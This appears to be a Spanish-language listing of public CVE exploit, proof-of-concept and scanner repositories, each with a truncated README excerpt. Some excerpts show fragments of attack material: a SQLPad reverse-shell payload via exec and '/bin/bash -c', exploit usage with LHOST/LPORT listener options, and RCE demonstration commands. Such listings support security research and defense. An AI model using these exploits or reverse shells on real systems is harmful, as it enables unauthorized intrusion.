cve-2021-41773-docker-lab

Laboratorio CVE-2021-41773 Laboratorio en contenedor para jugar/aprender con CVE-2021-41773 Divulgación de archivos: $ docker build -t apache-default defaultconf $ docker run -dit --name apache-app -p 81:80 apache-default PoC curl -s --path-as-is...

Detect-BlueKeep

🛡️ Detección de Explotación de BlueKeep CVE-2019-0708 Este proyecto demuestra un sistema de prueba de concepto para detectar intentos de explotación remota dirigidos a la vulnerabilidad BlueKeep CVE-2019-0708 en el servicio RDP de Microsoft. 📝 Proyecto de informe final para el curso...

CVE-2022-0944

CVE-2022-0944 PoC PoC para RCE en SQLPad. Este ejemplo lanza una reverse shell, pero el payload puede modificarse para ejecutar cualquier comando disponible cambiando el comando en la llamada 'exec' dentro del payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash ...

CVE-2022-27925-Revshell

Zimbra Exploit de Ejecución Remota de Código No Autenticado CVE-2022-27925 / / / / / / / / / / / / / // / / / / / / // / / / // / //// // //.// ,/ CVE-2022-27925 usage: exp.py -h -t TARGET -m MASS -l LHOST -p LPORT options: -h, --help show this help message and exit -t TARGET, --target TARGET...

CVE-2024-4577_PowerShell

CVE-2024-4577PowerShell Aviso: Asegúrese de estar autorizado para realizar este tipo de pruebas de penetración en el entorno objetivo. El uso no autorizado de técnicas de ataque puede violar las leyes aplicables. El programa es solo para fines educativos y de investigación, utilícelo dentro de lo...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - RCE autenticado Este script PoC está basado en el exploit proporcionado por Fellipe Oliveira. Características : Sube directamente código C a /hardware en lugar de cargar un archivo st Restaura el programa predeterminado antes de cargar la reverse shell Revers...

CVE-2024-51567-RCE-EXPLOIT

CVE-2024-51567-RCE-EXPLOIT Exploit RCE de cbyerpanel...

react2shell

React2Shell Versión Go React2Shell es un escáner de vulnerabilidades de alto rendimiento escrito en Go, diseñado específicamente para detectar vulnerabilidades de Ejecución Remota de Código RCE del lado del servidor en aplicaciones Next.js CVE-2025-55182 y CVE-2025-66478. Esta herramienta mejora...

CVE-2019-0708

Existe una vulnerabilidad de ejecución remota de código en los Servicios de Escritorio Remoto, anteriormente conocidos como Servicios de Terminal, cuando un atacante no autenticado se conecta al sistema objetivo mediante RDP y envía solicitudes especialmente diseñadas. Esta vulnerabilidad es prev...

CVE-2021-34371

CVE-2021-34371 python exploit - Neo4j 3.4.18 - RMI based Remote Code Execution RCE...

CVE-2025-55182-POC-SCANNER

CVE-2025-55182: RCE Crítico de Pre-Autenticación en React Server Components Investigación de Seguridad porschema.cx "El control es una ilusión. Son los sistemas que construimos los que nos controlan—a menos que los entendamos primero." 📋 Tabla de Contenidos Descargo de Responsabilidad y Aviso Leg...

CYBERDUDEBIVASH-Cisco-AsyncOS-CVE-2025-20393-Scanner

Escáner CYBERDUDEBIVASH Cisco AsyncOS CVE-2025-20393 Copyright © 2026 CYBERDUDEBIVASH ECOSYSTEM – Todos los derechos reservados Autorizado bajo la autoridad de CYBERDUDEBIVASH – Herramienta de detección ética para CVE-2025-20393 RCE no autenticada en Cisco Secure Email Gateway / SMA. Esta...

watchTowr-vs-f5-bigip-PreAuth-RCE-CVE-2026-94127

watchTowr-vs-f5-bigip-PreAuth-RCE Generador de artefactos de detección para F5 BIG-IP Consulta nuestra publicación en el blog para obtener detalles técnicos. Detección en acción ./watchTowr-vs-f5-bigip-PreAuth-RCE-CVE-2026-94127.py --host 192.168.5.36 --port 80 --command 'touch /tmp/hello' todos...

CVE-2023-34362

CVE-2023-34362: MOVEit Transfer RCE no autenticado Para una descripción técnica completa de la vulnerabilidad y explotación, lea nuestro Análisis de AttackerKB. Uso ruby CVE-2023-34362.rb Nota: El gadget de deserialización está configurado para ejecutar 'notepad.exe'. Ejemplo ruby...

HPE-iMC-7.3-RMI-Java-Deserialization

HPE iMC 7.3 Vulnerabilidad de RCE por deserialización en el registro RMI de Java ID de CVE CVE-2017-5792 Exploit Página web del proveedor: www.hpe.com Versión: iMC PLAT v7.3 E0504 Standard Probado en: Windows Server 2008 R2 Enterprise 64-bit tenga en cuenta que este PoC ejecutará calc.exe $ java...

CVE-2026-23744-POC

CVE-2026-23744 — RCE no autenticado en MCPJam Inspector MCPJam Inspector -i -p -m Flag| Descripción| Por defecto ---|---|--- -u| URL del objetivo| obligatorio -i| IP de tu listener LHOST| obligatorio -p| Puerto de tu listener LPORT| obligatorio -m| Método de payload: busybox, bash, python3| busyb...

CVE-2025-24813-PoC-exploit

CVE-2025-24813-PoC-exploit Apache Tomcat Deserialization RCE ❯ python3 exploit.py http://localhost:8080/ "id" ============================================================ CVE-2025-24813 - Apache Tomcat Partial PUT RCE ============================================================ Target:...

libheif-grid-nextjs-rce

libheif grid-to-GOT Next.js RCE Working proof of concept that turns CVE-2026-32740 in the hardcoded Next.js/sharp image stack into a chosen-address write and a validated /usr/bin/id callback. This is a private Fortbridge research repository. Use it only against the included lab or another system...

cve-2026-23744

CVE-2026-23744 – Ejecución Remota de Código RCE sin Autenticación en MCPJam Inspector Descripción Producto : MCPJam Inspector Versiones afectadas : ≤ 1.4.2 Versión corregida : 1.4.3 Tipo : Ejecución Remota de Código RCE sin autenticación Vector de ataque : Red Autenticación requerida : No...

opac-fast-automation

CVE-2025-65862 — Documentación, Análisis y Herramienta de Automatización Solo con fines de investigación ⚠️ Advertencia Ética y Legal Todo el material de este repositorio se proporciona únicamente para: investigación de seguridad, aprendizaje, análisis de vulnerabilidades, y pruebas en entornos...